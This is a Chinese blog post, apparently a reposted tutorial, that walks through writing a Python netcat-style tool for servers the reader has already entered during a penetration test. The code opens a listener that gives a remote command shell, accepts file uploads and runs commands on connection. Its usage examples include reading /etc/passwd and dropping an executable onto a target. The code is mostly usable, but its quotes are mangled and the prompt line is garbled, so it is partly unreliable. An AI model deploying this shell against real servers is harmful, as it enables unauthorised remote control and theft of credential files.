Python打造强大渗透工具(目标机监听控制端)

释放双眼,带上耳机,听听看~!

有时候在渗测试的过程中,很多时候在进入服务时,服务器没有安装netcat却安装了python,这时就需要自己用python代码创建一个简单的监听控制端以便于自己执行控制命令行获取操作权限,这样就不需要先在目标机器上安装木马或后门了.

本py监听脚本在kali linux python 2.7的环境下编译,所以先安装一个编译工具winIDE,到http://www.wingware.com/ 上下载适合你系统位数的deb包,然后dpkg -i 后面接上你的deb包名称等待安装完成.如果提示缺少依赖,就执行apt-get -f install命令来安装缺少的包,安装好后如下图所示启动wingIDE,此软件拥有强大的debug功能方便调试.

环境和软件都安装配置好了,下面开始编写py脚本的代码:


#!/usr/bin/python

#-*- coding:utf8 -*-

import sys

import socket

import getopt

import threading

import subprocess

# 定义一些全局变量

listen = False

command = False

upload = False

execute = “”

target = “”

upload_destination = “”

port = 0

def run_command(command):

# 删除字符串末尾的空格

command = command.rstrip()

# 运行命令并将输出放回

try:

output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)

except:

output = “Failed to execute command.\r\n”

# 将输出发送

return output

def client_handler(client_socket):

global upload

global execute

global command

# 检查上传文件

if len(upload_destination):

# 读取所有的字符并写下目标

file_buffer = “”

# 持续读取数据直到没有符合的数据

while True:

data = client_socket.recv(1024)

if not data:

break

else:

file_buffer += data

try:

file_descriptor = open(upload_destination, “wb”)

file_descriptor.write(file_buffer)

file_descriptor.close()

client_socket.send(“Successfully saved file to %s\r\n” % upload_destination)

except:

client_socket.send(“Failed to save file to %s\r\n” % upload_destination)

# 检查命令执行

if len(execute):

# 运行命令

output = run_command(execute)

client_socket.send(output)

# 如果需要一个命令行shell,那么我们进入另一个循环

if command:

while True:

# 跳出一个窗口

client_socket.send(“<_

<!–_–>

cmd_buffer = “”

while “\n” not in cmd_buffer:

cmd_buffer += client_socket.recv(1024)

# 返回命令输出

response = run_command(cmd_buffer)

# 返回响应数据

client_socket.send(response)

def server_loop():

global target

# 如果没有定义目标,那我们监听所有接口

if not len(target):

target = “0.0.0.0”

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((target, port))

server.listen(5)

while True:

client_socket, addr = server.accept()

# 分拆一个线程处理新的客户端

client_thread = threading.Thread(target=client_handler, args=(client_socket,))

client_thread.start()

def client_sender(buffer):

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

# 连接到目标主机

client.connect((target, port))

if len(buffer):

client.send(buffer)

while True:

# 现在等待数据回传

recv_len = 1

response = “”

while recv_len:

data = client.recv(4096)

recv_len = len(data)

response += data

if recv_len < 4096:

break

print response

# 等待更多的输入

buffer = raw_input(“”)

buffer += “\n”

# 发送出去

client.send(buffer)

except:

print “[*] Exception! Exiting.”

#关闭连接

client.close()

def usage():

print “BHP Net Tool”

print

print “Usage: bhnet.py -t target_host – p port”

print “-l –listen – listen on [host]:[port] for incoming connections”

print “-e –execute=file_to_run -execute the given file upon receiving a connection”

print “-c –command – initialize a commandshell”

print “-u –upload=destination – upon receiving connection upload a file and write to [destination]”

print

print

print “Examples:”

print “bhnet.py -t 192.168.0.1 -p 5555 -l -c”

print “bhnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe”

print “bhnet.py -t 192.168.0.1 -p 5555 -l -e=\”cat /etc/passwd\””

print “echo ‘ABCDEFGHI’ | python ./bhnet.py -t 192.168.11.12 -p 135”

sys.exit(0)

def main():

global listen

global port

global execute

global command

global upload_destination

global target

if not len(sys.argv[1:]):

usage()

# 读取命令行选项,若没有该选项则显示用法

try:

opts, args = getopt.getopt(sys.argv[1:], “hle:t:p:cu:”,[“help”, “listen”, “execute”, “target”, “port”, “command”, “upload”])

except getopt.GetoptError as err:

print str(err)

usage()

for o,a in opts:

if o in (“-h”,”–help”):

usage()

elif o in (“-l”, “–listen”):

listen = True

elif o in (“-e”, “–execute”):

execute = a

elif o in (“-c”, “–commandshell”):

command = True

elif o in (“-u”, “–upload”):

upload_destination = a

elif o in (“-t”, “–target”):

target = a

elif o in (“-p”, “–port”):

port = int(a)

else:

assert False,”Unhandled Option”

#我们是进行监听还是仅从标准输入读取数据并发送数据?

if not listen and len(target) and port > 0:

# 从命令行读取内存数据

# 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D

buffer = sys.stdin.read()

# 发送数据

client_sender(buffer)

# 我们开始监听并准备上传文件,执行命令

# 放置一个反弹shell

# 取决于上面的命令行选项

if listen:

server_loop()

#调用main函数

main()


脚本编写完成,下面来测试一下脚本是否可用.

(显示帮助信息)

(执行python bhnet.py -l -p 9999 -c 回车,监听本地或者目标机9999端口,由于测试,就选择了本机作为目标机)

(再开一个终端,执行python bhnet.py -t localhost -p 9999 回车后,按Ctril+D组合键发送EOF指令,就会反回shell,其中localhost可以为目标机的ip地址,这里选择本机localhost)

测试成功,这样,一个python编写的黑客工具就完成了.

还可以使用老派的方式直接利用客户端发送HTTP请求:

命令行运行:echo -ne “GET / HTTP/1.1\r\nHost: http://www.baidu.com\r\n\r\n” | python bhnet.py -t http://www.baidu.com -p 80

(成功用脚本发送HTTP请求)

By:1185151867

人已赞赏
安全工具安全教程

制作让舍友绝望的断网神器

2019-10-23 14:27:22

安全工具安全新闻

漏洞预警-ThinkCMFX文件包含漏洞(可写入任意文件)

2019-10-23 15:34:21

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索